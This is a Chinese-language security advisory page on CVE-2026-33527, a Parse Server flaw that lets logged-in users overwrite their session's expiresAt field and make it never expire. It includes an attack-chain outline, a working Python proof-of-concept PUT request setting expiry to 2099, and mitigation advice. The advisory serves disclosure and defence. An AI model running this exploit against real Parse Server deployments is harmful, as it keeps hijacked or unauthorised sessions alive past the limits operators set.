IPBUF安全漏洞报告
English
CVE-2026-33527 CVSS 4.3 中危

CVE-2026-33527 Parse Server 会话有效期绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33527
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

权限绕过会话管理Parse ServerCVE-2026-33527

漏洞概述

Parse Server是一个基于Node.js的开源后端框架。在8.6.57和9.6.0-alpha.48之前的版本中存在一个安全漏洞。已认证的用户可以通过REST API更新自己的会话时,覆盖服务器生成的会话字段(如expiresAt和createdWith)。攻击者利用此漏洞可以绕过服务器配置的会话生命周期策略,将会话有效期无限延长,导致会话永久有效,增加了账户被劫持的风险。

技术细节

该漏洞源于Parse Server在处理会话更新请求时的逻辑缺陷。正常情况下,`expiresAt`(过期时间)和`createdWith`(创建方式)等关键字段应由服务器端严格控制,客户端不应具备修改权限。然而,在受影响版本中,服务器未对更新请求中的这些敏感字段进行严格的校验或过滤。攻击者只需在发送给REST API的PUT请求中包含一个恶意构造的JSON对象,将`expiresAt`的时间戳修改为未来的某个时间点,服务器便会接受该更新并将其持久化到数据库中。这导致服务器原本配置的会话超时机制失效,攻击者的会话不会自动过期,从而实现了长期未授权访问权限的维持。

攻击链分析

STEP 1
步骤1
攻击者使用合法凭证登录Parse Server,获取有效的Session Token。
STEP 2
步骤2
攻击者构造恶意HTTP请求,目标指向/update会话的REST API接口。
STEP 3
步骤3
在请求体中注入包含未来时间戳的expiresAt字段,覆盖服务器默认设置。
STEP 4
步骤4
服务器接受请求并更新数据库中的会话记录,导致该会话永久有效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target API endpoint for updating the current session url = "http://localhost:1337/parse/sessions/me" # Headers required by Parse Server REST API headers = { "X-Parse-Application-Id": "YOUR_APPLICATION_ID", "X-Parse-Session-Token": "YOUR_CURRENT_SESSION_TOKEN", "Content-Type": "application/json" } # Payload to overwrite the 'expiresAt' field # Setting the expiration date to the year 2099 to bypass session timeout payload = { "expiresAt": { "__type": "Date", "iso": "2099-12-31T23:59:59.000Z" } } # Send the request to update the session response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Session expiration bypassed.") print("[+] Response:", response.json()) else: print("[-] Failed to exploit.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text)

影响范围

Parse Server < 8.6.57
Parse Server < 9.6.0-alpha.48

防御指南

临时缓解措施
如果无法立即升级,建议在WAF或反向代理层实施严格的输入验证,拦截对/sessions/me接口的PUT/PATCH请求中包含expiresAt或createdWith字段的参数。同时,管理员应审计数据库,检查是否存在异常的会话过期时间记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表